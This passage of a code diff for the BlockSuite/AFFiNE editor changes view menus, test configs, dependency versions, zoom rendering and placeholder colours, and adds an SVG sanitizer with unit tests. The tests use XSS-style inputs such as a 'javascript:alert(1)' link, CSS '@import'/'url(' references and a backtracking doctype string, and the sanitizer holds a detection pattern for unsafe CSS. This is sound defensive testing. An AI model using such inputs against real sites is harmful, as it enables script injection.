+    return items;
+  };
+
+  const getPageItems = (): MenuConfig[] => {
+    switch (currentPage.value) {
+      case 'properties':
+        return getPropertiesPageItems();
+      case 'filter':
+        return getFilterPageItems();
+      case 'sort':
+        return getSortPageItems();
+      case 'group':
+        return getGroupPageItems();
+      case 'group-select':
+        return getGroupSelectPageItems();
+      case 'custom':
+        return customPageItems();
+      default:
+        return getMainPageItems();
+    }
+  };
+
+  menuHandler = popMenu(target, {
     options: {
-      title: {
-        text: 'View settings',
-        onClose: () => handler.close(),
-      },
-      items,
-      onClose: onClose,
+      title: titleConfig,
+      items: [menu.dynamic(getPageItems)],
+      onClose,
     },
     middleware: [
       autoPlacement({ allowedPlacements: ['bottom-start'] }),
@@ -475,6 +581,23 @@ export const popViewOptions = (
       shift({ crossAxis: true }),
     ],
   });
-  handler.menu.menuElement.style.minHeight = '550px';
-  return handler;
+  if (isDesktopMenu()) {
+    menuHandler.menu.menuElement.style.minWidth = '380px';
+    menuHandler.menu.menuElement.style.maxWidth = '380px';
+    menuHandler.menu.menuElement.style.borderRadius = '10px';
+    menuHandler.menu.menuElement.style.padding = '12px';
+    menuHandler.menu.menuElement.style.gap = '10px';
+    requestAnimationFrame(() => {
+      const bodyEl =
+        menuHandler.menu.menuElement.querySelector<HTMLElement>(
+          '.affine-menu-body'
+        );
+      if (bodyEl) {
+        bodyEl.style.overflowY = 'auto';
+        bodyEl.style.flex = '1';
+        bodyEl.style.minHeight = '0';
+      }
+    });
+  }
+  return menuHandler;
 };

blocksuite/affine/data-view/vitest.config.ts

@@ -1,3 +1,5 @@
+import { fileURLToPath } from 'node:url';
+
 import { defineConfig } from 'vitest/config';
 
 export default defineConfig({
@@ -5,7 +7,9 @@ export default defineConfig({
     target: 'es2018',
   },
   test: {
-    globalSetup: '../../scripts/vitest-global.js',
+    globalSetup: fileURLToPath(
+      new URL('../../../scripts/vitest-global.js', import.meta.url)
+    ),
     include: ['src/__tests__/**/*.unit.spec.ts'],
     testTimeout: 1000,
     coverage: {

blocksuite/affine/ext-loader/package.json

@@ -15,7 +15,7 @@
     "zod": "^3.25.76"
   },
   "devDependencies": {
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "exports": {
     ".": "./src/index.ts"

blocksuite/affine/gfx/connector/src/renderer/element-renderer.ts

@@ -19,6 +19,7 @@ import {
   type LocalConnectorElementModel,
   type PointStyle,
 } from '@blocksuite/affine-model';
+import { getAffinePlaceholderFillColor } from '@blocksuite/affine-shared/theme';
 import {
   getBezierParameters,
   type PointLocation,
@@ -253,7 +254,7 @@ function renderLabel(
   ctx.setTransform(matrix);
 
   if (renderer.usePlaceholder) {
-    ctx.fillStyle = 'rgba(200, 200, 200, 0.5)';
+    ctx.fillStyle = getAffinePlaceholderFillColor(renderer.getColorScheme());
     ctx.fillRect(0, 0, w, h);
     return; // Skip actual label rendering
   }

blocksuite/affine/gfx/group/package.json

@@ -26,7 +26,7 @@
     "lit": "^3.2.0"
   },
   "devDependencies": {
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "exports": {
     ".": "./src/index.ts",

blocksuite/affine/gfx/group/vitest.config.ts

@@ -1,3 +1,5 @@
+import { fileURLToPath } from 'node:url';
+
 import { defineConfig } from 'vitest/config';
 
 export default defineConfig({
@@ -5,7 +7,9 @@ export default defineConfig({
     target: 'es2018',
   },
   test: {
-    globalSetup: '../../../scripts/vitest-global.js',
+    globalSetup: fileURLToPath(
+      new URL('../../../../scripts/vitest-global.js', import.meta.url)
+    ),
     include: ['src/__tests__/**/*.unit.spec.ts'],
     testTimeout: 1000,
     coverage: {

blocksuite/affine/gfx/mindmap/src/view/view.ts

@@ -119,15 +119,14 @@ export class MindMapView extends GfxElementModelView<MindmapElementModel> {
   private _setLayoutMethod() {
     this.model.setLayoutMethod(function (
       this: MindmapElementModel,
-      tree: MindmapNode | MindmapRoot = this.tree,
-      options: {
-        applyStyle?: boolean;
-        layoutType?: LayoutType;
-        stashed?: boolean;
-      } = {
-        applyStyle: true,
-        stashed: true,
-      }
+      tree: MindmapNode | MindmapRoot | undefined,
+      options:
+        | {
+            applyStyle?: boolean;
+            layoutType?: LayoutType;
+            stashed?: boolean;
+          }
+        | undefined
     ) {
       const { stashed, applyStyle, layoutType } = Object.assign(
         {
@@ -137,9 +136,10 @@ export class MindMapView extends GfxElementModelView<MindmapElementModel> {
         },
         options
       );
+      const targetTree = tree ?? this.tree;
 
-      const pop = stashed ? this.stashTree(tree) : null;
-      handleLayout(this, tree, applyStyle, layoutType);
+      const pop = stashed ? this.stashTree(targetTree) : null;
+      handleLayout(this, targetTree, applyStyle, layoutType);
       pop?.();
     });
   }

blocksuite/affine/gfx/pointer/package.json

@@ -22,7 +22,7 @@
     "lit": "^3.2.0"
   },
   "devDependencies": {
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "exports": {
     ".": "./src/index.ts",

blocksuite/affine/gfx/pointer/vitest.config.ts

@@ -1,3 +1,5 @@
+import { fileURLToPath } from 'node:url';
+
 import { defineConfig } from 'vitest/config';
 
 export default defineConfig({
@@ -5,7 +7,9 @@ export default defineConfig({
     target: 'es2018',
   },
   test: {
-    globalSetup: '../../../scripts/vitest-global.js',
+    globalSetup: fileURLToPath(
+      new URL('../../../../scripts/vitest-global.js', import.meta.url)
+    ),
     include: ['src/__tests__/**/*.unit.spec.ts'],
     testTimeout: 1000,
     coverage: {

blocksuite/affine/gfx/turbo-renderer/package.json

@@ -10,6 +10,7 @@
   "author": "toeverything",
   "license": "MIT",
   "dependencies": {
+    "@blocksuite/affine-shared": "workspace:*",
     "@blocksuite/global": "workspace:*",
     "@blocksuite/std": "workspace:*",
     "@blocksuite/store": "workspace:*",

blocksuite/affine/gfx/turbo-renderer/src/renderer-utils.ts

@@ -1,5 +1,10 @@
+import {
+  getAffinePlaceholderFillColor,
+  getAffinePlaceholderStrokeColor,
+  inferColorSchemeFromThemeMode,
+} from '@blocksuite/affine-shared/theme';
 import type { EditorHost, GfxBlockComponent } from '@blocksuite/std';
-import { type Viewport } from '@blocksuite/std/gfx';
+import { getEffectiveDpr, type Viewport } from '@blocksuite/std/gfx';
 import type { BlockModel } from '@blocksuite/store';
 
 import { BlockLayoutHandlersIdentifier } from './layout/block-layout-provider';
@@ -10,9 +15,13 @@ import type {
   ViewportLayoutTree,
 } from './types';
 
-export function syncCanvasSize(canvas: HTMLCanvasElement, host: HTMLElement) {
+export function syncCanvasSize(
+  canvas: HTMLCanvasElement,
+  host: HTMLElement,
+  zoom = 1
+) {
   const hostRect = host.getBoundingClientRect();
-  const dpr = window.devicePixelRatio;
+  const dpr = getEffectiveDpr(zoom);
   canvas.style.position = 'absolute';
   canvas.style.left = '0px';
   canvas.style.top = '0px';
@@ -186,21 +195,21 @@ export function paintPlaceholder(
   const ctx = canvas.getContext('2d');
   if (!ctx || !layout) return;
 
-  const dpr = window.devicePixelRatio;
+  const dpr = getEffectiveDpr(viewport.zoom);
   const { overallRect } = layout;
   const layoutViewCoord = viewport.toViewCoord(overallRect.x, overallRect.y);
 
   const offsetX = layoutViewCoord[0];
   const offsetY = layoutViewCoord[1];
-  const colors = [
-    'rgba(200, 200, 200, 0.7)',
-    'rgba(180, 180, 180, 0.7)',
-    'rgba(160, 160, 160, 0.7)',
-  ];
+  const colorScheme = inferColorSchemeFromThemeMode(
+    document.documentElement.dataset.theme
+  );
+  const fillColor = getAffinePlaceholderFillColor(colorScheme);
+  const strokeColor = getAffinePlaceholderStrokeColor(colorScheme);
 
-  const paintNode = (node: BlockLayoutTreeNode, depth: number = 0) => {
+  const paintNode = (node: BlockLayoutTreeNode) => {
     const { layout: nodeLayout } = node;
-    ctx.fillStyle = colors[depth % colors.length];
+    ctx.fillStyle = fillColor;
     const rect = nodeLayout.rect;
     const x = ((rect.x - overallRect.x) * viewport.zoom + offsetX) * dpr;
     const y = ((rect.y - overallRect.y) * viewport.zoom + offsetY) * dpr;
@@ -209,12 +218,12 @@ export function paintPlaceholder(
 
     ctx.fillRect(x, y, width, height);
     if (width > 10 && height > 5) {
-      ctx.strokeStyle = 'rgba(150, 150, 150, 0.3)';
+      ctx.strokeStyle = strokeColor;
       ctx.strokeRect(x, y, width, height);
     }
 
     if (node.children.length > 0) {
-      node.children.forEach(childNode => paintNode(childNode, depth + 1));
+      node.children.forEach(childNode => paintNode(childNode));
     }
   };
 

blocksuite/affine/gfx/turbo-renderer/src/turbo-renderer.ts

@@ -1,11 +1,14 @@
 import type { Container } from '@blocksuite/global/di';
 import { DisposableGroup } from '@blocksuite/global/disposable';
+import { IS_IOS } from '@blocksuite/global/env';
 import { ConfigExtensionFactory } from '@blocksuite/std';
 import {
+  getEffectiveDpr,
   type GfxController,
   GfxExtension,
   GfxExtensionIdentifier,
   type GfxViewportElement,
+  viewportRuntimeConfig,
 } from '@blocksuite/std/gfx';
 import {
   BehaviorSubject,
@@ -34,6 +37,26 @@ import type {
 } from './types';
 
 const debug = false; // Toggle for debug logs
+const IOS_LOW_ZOOM_SURVIVAL_THRESHOLD = 0.5;
+
+export function shouldPreferBitmapCacheDuringLowZoomGesture(params: {
+  isIOS: boolean;
+  zoom: number;
+  hasBitmap: boolean;
+}) {
+  return (
+    params.isIOS &&
+    params.zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD &&
+    params.hasBitmap
+  );
+}
+
+export function shouldIdleTurboBlocksDuringZooming(params: {
+  isIOS: boolean;
+  zoom: number;
+}) {
+  return !(params.isIOS && params.zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD);
+}
 
 const defaultOptions = {
   zoomThreshold: 1, // With high enough zoom, fallback to DOM rendering
@@ -147,7 +170,7 @@ export class ViewportTurboRendererExtension extends GfxExtension {
 
     this.viewport.elementReady.pipe(take(1)).subscribe(element => {
       this.viewportElement = element;
-      syncCanvasSize(this.canvas, this.std.host);
+      syncCanvasSize(this.canvas, this.std.host, this.viewport.zoom);
       this.state$.next('pending');
 
       this.disposables.add(
@@ -156,6 +179,12 @@ export class ViewportTurboRendererExtension extends GfxExtension {
 
       this.disposables.add(
         this.viewport.viewportUpdated.subscribe(() => {
+          if (
+            this.viewport.SKIP_REFRESH_DURING_GESTURE &&
+            (this.viewport.panning$.value || this.viewport.zooming$.value)
+          ) {
+            return;
+          }
           this.refresh().catch(console.error);
         })
       );
@@ -166,7 +195,9 @@ export class ViewportTurboRendererExtension extends GfxExtension {
             tap(isZooming => {
               this.debugLog(`Zooming signal changed: ${isZooming}`);
               if (isZooming) {
-                this.state$.next('zooming');
+                if (!this.viewport.SKIP_REFRESH_DURING_GESTURE) {
+                  this.state$.next('zooming');
+                }
               } else if (this.state$.value === 'zooming') {
                 this.clearOptimizedBlocks();
                 this.isRecentlyZoomed$.next(true);
@@ -183,6 +214,45 @@ export class ViewportTurboRendererExtension extends GfxExtension {
           )
           .subscribe()
       );
+
+      // Post-gesture refresh for SKIP mode
+      if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
+        let pendingTimerId: ReturnType<typeof setTimeout> | null = null;
+
+        const cancelRefresh = () => {
+          if (pendingTimerId !== null) {
+            clearTimeout(pendingTimerId);
+            pendingTimerId = null;
+          }
+        };
+
+        const scheduleRefresh = () => {
+          cancelRefresh();
+          pendingTimerId = setTimeout(() => {
+            pendingTimerId = null;
+            if (
+              !this.viewport.panning$.value &&
+              !this.viewport.zooming$.value
+            ) {
+              this.refresh().catch(console.error);
+            }
+          }, viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY);
+        };
+
+        this.disposables.add(
+          this.viewport.panning$.subscribe(panning => {
+            if (panning) cancelRefresh();
+            else if (!this.viewport.zooming$.value) scheduleRefresh();
+          })
+        );
+        this.disposables.add(
+          this.viewport.zooming$.subscribe(zooming => {
+            if (zooming) cancelRefresh();
+            else if (!this.viewport.panning$.value) scheduleRefresh();
+          })
+        );
+        this.disposables.add({ dispose: cancelRefresh });
+      }
     });
 
     // Handle selection and block updates
@@ -235,10 +305,22 @@ export class ViewportTurboRendererExtension extends GfxExtension {
       nextState = 'pending';
       this.clearOptimizedBlocks();
     } else if (this.isZooming()) {
-      this.debugLog('Currently zooming, using placeholder rendering');
       nextState = 'zooming';
-      this.paintPlaceholder();
-      this.updateOptimizedBlocks();
+      if (
+        shouldPreferBitmapCacheDuringLowZoomGesture({
+          isIOS: IS_IOS,
+          zoom: this.viewport.zoom,
+          hasBitmap: !!this.bitmap,
+        })
+      ) {
+        this.debugLog('Currently zooming, reusing cached bitmap');
+        this.clearOptimizedBlocks();
+        this.drawCachedBitmap();
+      } else {
+        this.debugLog('Currently zooming, using placeholder rendering');
+        this.paintPlaceholder();
+        this.updateOptimizedBlocks();
+      }
     } else if (this.canUseBitmapCache()) {
       this.debugLog('Using cached bitmap');
       nextState = 'ready';
@@ -286,7 +368,7 @@ export class ViewportTurboRendererExtension extends GfxExtension {
       }
 
       const layout = this.layoutCache;
-      const dpr = window.devicePixelRatio;
+      const dpr = getEffectiveDpr(this.viewport.zoom);
       const currentVersion = this.layoutVersion;
 
       this.debugLog(`Requesting bitmap painting (version=${currentVersion})`);
@@ -368,12 +450,14 @@ export class ViewportTurboRendererExtension extends GfxExtension {
       layout.overallRect.y
     );
 
+    const dpr = getEffectiveDpr(this.viewport.zoom);
+
     ctx.drawImage(
       bitmap,
-      layoutViewCoord[0] * window.devicePixelRatio,
-      layoutViewCoord[1] * window.devicePixelRatio,
-      layout.overallRect.w * window.devicePixelRatio * this.viewport.zoom,
-      layout.overallRect.h * window.devicePixelRatio * this.viewport.zoom
+      layoutViewCoord[0] * dpr,
+      layoutViewCoord[1] * dpr,
+      layout.overallRect.w * dpr * this.viewport.zoom,
+      layout.overallRect.h * dpr * this.viewport.zoom
     );
 
     this.debugLog('Bitmap drawn to canvas');
@@ -389,6 +473,16 @@ export class ViewportTurboRendererExtension extends GfxExtension {
 
   private updateOptimizedBlocks() {
     if (!this.canOptimize()) return;
+    if (
+      !shouldIdleTurboBlocksDuringZooming({
+        isIOS: IS_IOS,
+        zoom: this.viewport.zoom,
+      })
+    ) {
+      this.clearOptimizedBlocks();
+      return;
+    }
+
     requestAnimationFrame(() => {
       if (!this.viewportElement || !this.layoutCache) return;
       const blockElements = this.viewportElement.getModelsInViewport();
@@ -416,7 +510,7 @@ export class ViewportTurboRendererExtension extends GfxExtension {
 
   private handleResize() {
     this.debugLog('Container resized, syncing canvas size');
-    syncCanvasSize(this.canvas, this.std.host);
+    syncCanvasSize(this.canvas, this.std.host, this.viewport.zoom);
     this.invalidate();
     this.refresh$.next();
   }

blocksuite/affine/gfx/turbo-renderer/tsconfig.json

@@ -7,6 +7,7 @@
   },
   "include": ["./src"],
   "references": [
+    { "path": "../../shared" },
     { "path": "../../../framework/global" },
     { "path": "../../../framework/std" },
     { "path": "../../../framework/store" }

blocksuite/affine/inlines/footnote/package.json

@@ -25,9 +25,9 @@
     "zod": "^3.25.76"
   },
   "devDependencies": {
-    "@vitest/browser-playwright": "^4.0.18",
+    "@vitest/browser-playwright": "^4.1.8",
     "playwright": "=1.58.2",
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "exports": {
     ".": "./src/index.ts",

blocksuite/affine/inlines/link/src/link-node/affine-link.ts

@@ -160,7 +160,6 @@ export class AffineLink extends WithDisposable(ShadowlessElement) {
     const linkStyle = {
       color: 'var(--affine-link-color)',
       fill: 'var(--affine-link-color)',
-      'text-decoration': 'none',
       cursor: 'pointer',
     };
 

blocksuite/affine/inlines/preset/src/keymap/format.ts

@@ -1,8 +1,4 @@
-import {
-  type BlockStdScope,
-  TextSelection,
-  type UIEventHandler,
-} from '@blocksuite/std';
+import { type BlockStdScope, type UIEventHandler } from '@blocksuite/std';
 
 import { textFormatConfigs } from '../command/index.js';
 
@@ -14,12 +10,9 @@ export const textFormatKeymap = (std: BlockStdScope) =>
         return {
           ...acc,
           [config.hotkey as string]: ctx => {
-            const { store: doc, selection } = std;
+            const { store: doc } = std;
             if (doc.readonly) return;
 
-            const textSelection = selection.find(TextSelection);
-            if (!textSelection) return;
-
             const allowed = config.textChecker?.(std.host) ?? true;
             if (!allowed) return;
 

blocksuite/affine/shared/package.json

@@ -23,7 +23,7 @@
     "@types/lodash-es": "^4.17.12",
     "@types/mdast": "^4.0.4",
     "bytes": "^3.1.2",
-    "dompurify": "^3.3.0",
+    "dompurify": "^3.4.11",
     "fractional-indexing": "^3.2.0",
     "lit": "^3.2.0",
     "lodash-es": "^4.17.23",
@@ -46,6 +46,7 @@
     "remark-parse": "^11.0.0",
     "remark-stringify": "^11.0.0",
     "rxjs": "^7.8.2",
+    "tldts": "^7.0.19",
     "ts-pattern": "^5.1.0",
     "unified": "^11.0.5",
     "unist-util-visit": "^5.0.0",
@@ -73,7 +74,7 @@
   ],
   "devDependencies": {
     "@types/pdfmake": "^0.2.12",
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "version": "0.26.3"
 }

blocksuite/affine/shared/src/__tests__/utils/svg.unit.spec.ts

@@ -0,0 +1,191 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { describe, expect, test } from 'vitest';
+
+import { sanitizeSvg } from '../../utils/svg.js';
+
+type HappyDOMWindow = Window & {
+  happyDOM: {
+    setURL: (url: string) => void;
+  };
+};
+
+function setLocation(url: string) {
+  (window as unknown as HappyDOMWindow).happyDOM.setURL(url);
+}
+
+function svgDataUrl(svg: string) {
+  const bytes = new TextEncoder().encode(svg);
+  let binary = '';
+  bytes.forEach(byte => {
+    binary += String.fromCharCode(byte);
+  });
+  return `data:image/svg+xml;base64,${btoa(binary)}`;
+}
+
+function decodeSvgDataUrl(dataUrl: string) {
+  const base64 = dataUrl.split(',')[1];
+  return new TextDecoder().decode(
+    Uint8Array.from(atob(base64), char => char.charCodeAt(0))
+  );
+}
+
+describe('sanitizeSvg', () => {
+  test('wraps DOMPurify svg fragments back into an svg root', () => {
+    const sanitized = sanitizeSvg(
+      '<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><rect width="100" height="100"></rect></svg>'
+    );
+
+    expect(sanitized).toContain('<svg');
+    expect(sanitized).toContain('width="100"');
+    expect(sanitized).toContain('<rect');
+  });
+
+  test('accepts svg documents with xml and doctype prefixes', () => {
+    const sanitized = sanitizeSvg(`<?xml version="1.0" standalone="no"?>
+      <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+      <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
+        <rect width="100" height="100"></rect>
+      </svg>`);
+
+    expect(sanitized).toContain('<svg');
+    expect(sanitized).toContain('width="100"');
+    expect(sanitized).toContain('<rect');
+    expect(sanitized).not.toContain('<!DOCTYPE');
+  });
+
+  test('rejects non-svg roots', () => {
+    expect(sanitizeSvg('<div><svg></svg></div>')).toBe('');
+  });
+
+  test('rejects malformed doctype prefixes without regexp backtracking', () => {
+    const maliciousPrefix = '<!doctype' + '?><!doctype'.repeat(10_000);
+
+    expect(sanitizeSvg(`${maliciousPrefix}<div></div>`)).toBe('');
+  });
+
+  test('keeps internal glyph references and safe image data urls', () => {
+    const sanitized = sanitizeSvg(`
+      <svg xmlns="http://www.w3.org/2000/svg">
+        <defs><path id="glyph-a" d="M0 0h10v10z"></path></defs>
+        <use href="#glyph-a"></use>
+        <use xlink:href="#glyph-a"></use>
+        <a xlink:href="https://typst.app/docs/tutorial"><path d="M0 0h10v10z"></path></a>
+        <image href="data:image/png;base64,AAAA" width="10" height="10"></image>
+      </svg>
+    `);
+
+    expect(sanitized).toContain('href="#glyph-a"');
+    expect(sanitized).toContain('xlink:href="#glyph-a"');
+    expect(sanitized).toContain('xlink:href="https://typst.app/docs/tutorial"');
+    expect(sanitized).toContain('data:image/png;base64,AAAA');
+  });
+
+  test('removes external glyph references and unsafe css', () => {
+    const sanitized = sanitizeSvg(`
+      <svg xmlns="http://www.w3.org/2000/svg">
+        <style>@import "https://example.com/style.css"; .a { fill: #000; }</style>
+        <use href="https://example.com/glyph.svg#x"></use>
+        <use xlink:href="https://example.com/glyph.svg#x"></use>
+        <a xlink:href="javascript:alert(1)"><path d="M0 0h10v10z"></path></a>
+        <image href="https://example.com/image.png" width="10" height="10"></image>
+        <path style="fill: url(https://example.com/pattern.svg#x)" d="M0 0h10v10z"></path>
+      </svg>
+    `);
+
+    expect(sanitized).not.toContain('https://example.com');
+    expect(sanitized).not.toContain('javascript:');
+    expect(sanitized).not.toContain('@import');
+    expect(sanitized).not.toContain('url(');
+  });
+
+  test('removes links sharing the current registrable domain', () => {
+    setLocation('https://sub.example.co.uk/workspace');
+
+    const sanitized = sanitizeSvg(`
+      <svg xmlns="http://www.w3.org/2000/svg">
+        <a xlink:href="https://sub.example.co.uk/docs"><path d="M0 0h10v10z"></path></a>
+        <a href="https://other.example.co.uk/docs"><path d="M0 0h10v10z"></path></a>
+        <a xlink:href="https://example.com/docs"><path d="M0 0h10v10z"></path></a>
+      </svg>
+    `);
+
+    expect(sanitized).not.toContain('https://sub.example.co.uk/docs');
+    expect(sanitized).not.toContain('https://other.example.co.uk/docs');
+    expect(sanitized).toContain('https://example.com/docs');
+  });
+
+  test('keeps private suffix sibling domains separate', () => {
+    setLocation('https://foo.github.io/workspace');
+
+    const sanitized = sanitizeSvg(`
+      <svg xmlns="http://www.w3.org/2000/svg">
+        <a xlink:href="https://foo.github.io/docs"><path d="M0 0h10v10z"></path></a>
+        <a href="https://bar.github.io/docs"><path d="M0 0h10v10z"></path></a>
+      </svg>
+    `);
+
+    expect(sanitized).not.toContain('https://foo.github.io/docs');
+    expect(sanitized).toContain('https://bar.github.io/docs');
+  });
+
+  test('handles local hostnames by exact hostname', () => {
+    setLocation('http://localhost:3000/workspace');
+
+    const sanitized = sanitizeSvg(`
+      <svg xmlns="http://www.w3.org/2000/svg">
+        <a xlink:href="http://localhost:8080/docs"><path d="M0 0h10v10z"></path></a>
+        <a href="http://share.localhost/docs"><path d="M0 0h10v10z"></path></a>
+        <a href="http://127.0.0.1/docs"><path d="M0 0h10v10z"></path></a>
+      </svg>
+    `);
+
+    expect(sanitized).not.toContain('http://localhost:8080/docs');
+    expect(sanitized).toContain('http://share.localhost/docs');
+    expect(sanitized).toContain('http://127.0.0.1/docs');
+  });
+
+  test('recursively sanitizes svg images', () => {
+    const nestedSvg = svgDataUrl(
+      '<svg xmlns="http://www.w3.org/2000/svg"><defs><path id="glyph-a" d="M0 0h10v10z"></path></defs><use href="#glyph-a"></use><use href="https://example.com/glyph.svg#x"></use></svg>'
+    );
+    const sanitized = sanitizeSvg(`
+      <svg xmlns="http://www.w3.org/2000/svg">
+        <image href="${nestedSvg}" width="10" height="10"></image>
+      </svg>
+    `);
+    const sanitizedImageHref = sanitized.match(/href="([^"]+)"/)?.[1];
+
+    expect(sanitizedImageHref).toMatch(/^data:image\/svg\+xml;base64,/);
+    expect(decodeSvgDataUrl(sanitizedImageHref ?? '')).toContain('<svg');
+    expect(decodeSvgDataUrl(sanitizedImageHref ?? '')).toContain('#glyph-a');
+    expect(decodeSvgDataUrl(sanitizedImageHref ?? '')).not.toContain(
+      'https://example.com'
+    );
+  });
+
+  test('removes svg images nested deeper than two levels', () => {
+    const thirdLevelSvg = svgDataUrl(
+      '<svg xmlns="http://www.w3.org/2000/svg"><rect width="10" height="10"></rect></svg>'
+    );
+    const secondLevelSvg = svgDataUrl(
+      `<svg xmlns="http://www.w3.org/2000/svg"><image href="${thirdLevelSvg}"></image></svg>`
+    );
+    const firstLevelSvg = svgDataUrl(
+      `<svg xmlns="http://www.w3.org/2000/svg"><image href="${secondLevelSvg}"></image></svg>`
+    );
+    const sanitized = sanitizeSvg(`
+      <svg xmlns="http://www.w3.org/2000/svg">
+        <image href="${firstLevelSvg}"></image>
+      </svg>
+    `);
+    const firstLevelHref = sanitized.match(/href="([^"]+)"/)?.[1];
+    const firstLevelSanitizedSvg = decodeSvgDataUrl(firstLevelHref ?? '');
+    const secondLevelHref = firstLevelSanitizedSvg.match(/href="([^"]+)"/)?.[1];
+    const secondLevelSanitizedSvg = decodeSvgDataUrl(secondLevelHref ?? '');
+
+    expect(firstLevelSanitizedSvg).toContain('<image');
+    expect(secondLevelSanitizedSvg).not.toContain('<image');
+  });
+});

blocksuite/affine/shared/src/adapters/pdf/pdf.ts

@@ -20,7 +20,6 @@ import {
   type ToSliceSnapshotPayload,
   type Transformer,
 } from '@blocksuite/store';
-import DOMPurify from 'dompurify';
 import pdfMake from 'pdfmake/build/pdfmake';
 import type {
   Content,
@@ -29,6 +28,7 @@ import type {
 } from 'pdfmake/interfaces';
 
 import { getNumberPrefix } from '../../utils';
+import { sanitizeSvg } from '../../utils/svg.js';
 import { resolveCssVariable } from './css-utils.js';
 import { extractTextWithInline } from './delta-converter.js';
 import {
@@ -746,9 +746,8 @@ export class PdfAdapter extends BaseAdapter<PdfAdapterFile> {
       const trimmedText = text.trim();
 
       if (trimmedText.startsWith('<svg')) {
-        const svgContent = DOMPurify.sanitize(trimmedText, {
-          USE_PROFILES: { svg: true },
-        });
+        const svgContent = sanitizeSvg(trimmedText);
+        if (!svgContent) throw new Error('Invalid SVG image asset');
         const svgDimensions = extractSvgDimensions(svgContent);
         const dimensions = calculateImageDimensions(
           blockWidth,

blocksuite/affine/shared/src/commands/block-crud/get-selected-blocks.ts

@@ -129,32 +129,35 @@ export const getSelectedBlocksCommand: Command<
     dirtyResult = dirtyResult.filter(ctx.filter);
   }
 
+  const getModelPath = (el: BlockComponent) => {
+    const path: number[] = [];
+    let model = el.model;
+    while (model) {
+      const parent = ctx.std.store.getParent(model.id);
+      if (!parent) break;
+      path.unshift(parent.children.findIndex(child => child.id === model.id));
+      model = parent;
+    }
+    return path;
+  };
+
+  const compareByModelPath = (a: BlockComponent, b: BlockComponent) => {
+    if (a === b) return 0;
+    const aPath = getModelPath(a);
+    const bPath = getModelPath(b);
+    const length = Math.min(aPath.length, bPath.length);
+    for (let i = 0; i < length; i++) {
+      const diff = aPath[i] - bPath[i];
+      if (diff !== 0) return diff;
+    }
+    return aPath.length - bPath.length;
+  };
+
   // remove duplicate elements
   const result: BlockComponent[] = dirtyResult
     .filter((el, index) => dirtyResult.indexOf(el) === index)
-    // sort by document position
-    .sort((a, b) => {
-      if (a === b) {
-        return 0;
-      }
-
-      const position = a.compareDocumentPosition(b);
-      if (
-        position & Node.DOCUMENT_POSITION_FOLLOWING ||
-        position & Node.DOCUMENT_POSITION_CONTAINED_BY
-      ) {
-        return -1;
-      }
-
-      if (
-        position & Node.DOCUMENT_POSITION_PRECEDING ||
-        position & Node.DOCUMENT_POSITION_CONTAINS
-      ) {
-        return 1;
-      }
-
-      return 0;
-    });
+    // sort by model tree position, which is the order used for paste/export
+    .sort(compareByModelPath);
 
   if (result.length === 0) return;
 

blocksuite/affine/shared/src/commands/model-crud/get-selected-models.ts

@@ -58,8 +58,7 @@ export const getSelectedModelsCommand: Command<
     ])
     .pipe(getSelectedBlocksCommand, { types, mode })
     .pipe(ctx => {
-      const { selectedBlocks = [] } = ctx;
-      selectedModels.push(...selectedBlocks.map(el => el.model));
+      selectedModels.push(...ctx.selectedBlocks.map(el => el.model));
     })
     .run();
 

blocksuite/affine/shared/src/theme/index.ts

@@ -1 +1,2 @@
 export * from './css-variables.js';
+export * from './placeholder-style.js';

blocksuite/affine/shared/src/theme/placeholder-style.ts

@@ -0,0 +1,19 @@
+import { ColorScheme } from '@blocksuite/affine-model';
+
+export function inferColorSchemeFromThemeMode(
+  themeMode?: string | null
+): ColorScheme {
+  return themeMode === 'dark' ? ColorScheme.Dark : ColorScheme.Light;
+}
+
+export function getAffinePlaceholderFillColor(colorScheme: ColorScheme) {
+  return colorScheme === ColorScheme.Dark
+    ? 'rgba(255, 255, 255, 0.08)'
+    : 'rgba(0, 0, 0, 0.04)';
+}
+
+export function getAffinePlaceholderStrokeColor(colorScheme: ColorScheme) {
+  return colorScheme === ColorScheme.Dark
+    ? 'rgba(255, 255, 255, 0.04)'
+    : 'rgba(0, 0, 0, 0.02)';
+}

blocksuite/affine/shared/src/utils/index.ts

@@ -23,6 +23,7 @@ export * from './reordering';
 export * from './safe-html';
 export * from './signal';
 export * from './string';
+export * from './svg';
 export * from './title';
 export * from './url';
 export * from './virtual-padding';

blocksuite/affine/shared/src/utils/svg.ts

@@ -0,0 +1,294 @@
+import type { Config } from 'dompurify';
+import DOMPurify from 'dompurify';
+import { parse } from 'tldts';
+
+type SanitizeSvgOptions = {
+  svg?: Config;
+  foreignObjectHtml?: Config;
+};
+
+const MAX_NESTED_SVG_IMAGE_DEPTH = 2;
+
+const DEFAULT_SVG_SANITIZE_CONFIG: Config = {
+  USE_PROFILES: { svg: true },
+  ADD_TAGS: ['use'],
+  ADD_ATTR: ['href', 'xlink:href', 'class', 'style', 'id'],
+};
+
+const DEFAULT_FOREIGN_OBJECT_HTML_SANITIZE_CONFIG: Config = {
+  USE_PROFILES: { html: true },
+};
+
+const SAFE_LINK_PROTOCOLS = new Set(['http:', 'https:', 'mailto:']);
+const SVG_DATA_URL_PATTERN =
+  /^data:image\/svg\+xml(?:;charset=[^;,]+)?(?<base64>;base64)?,(?<data>[\s\S]*)$/i;
+const SAFE_IMAGE_DATA_URL_PATTERN =
+  /^data:image\/(?:png|jpe?g|gif|webp|svg\+xml);base64,[a-z0-9+/=]+$/i;
+const UNSAFE_CSS_PATTERN =
+  /(?:url\s*\(|@import|javascript\s*:|expression\s*\(|-moz-binding)/i;
+
+const SVG_ROOT_ATTRIBUTES = [
+  'class',
+  'data-height',
+  'data-width',
+  'height',
+  'preserveAspectRatio',
+  'viewBox',
+  'width',
+  'xmlns',
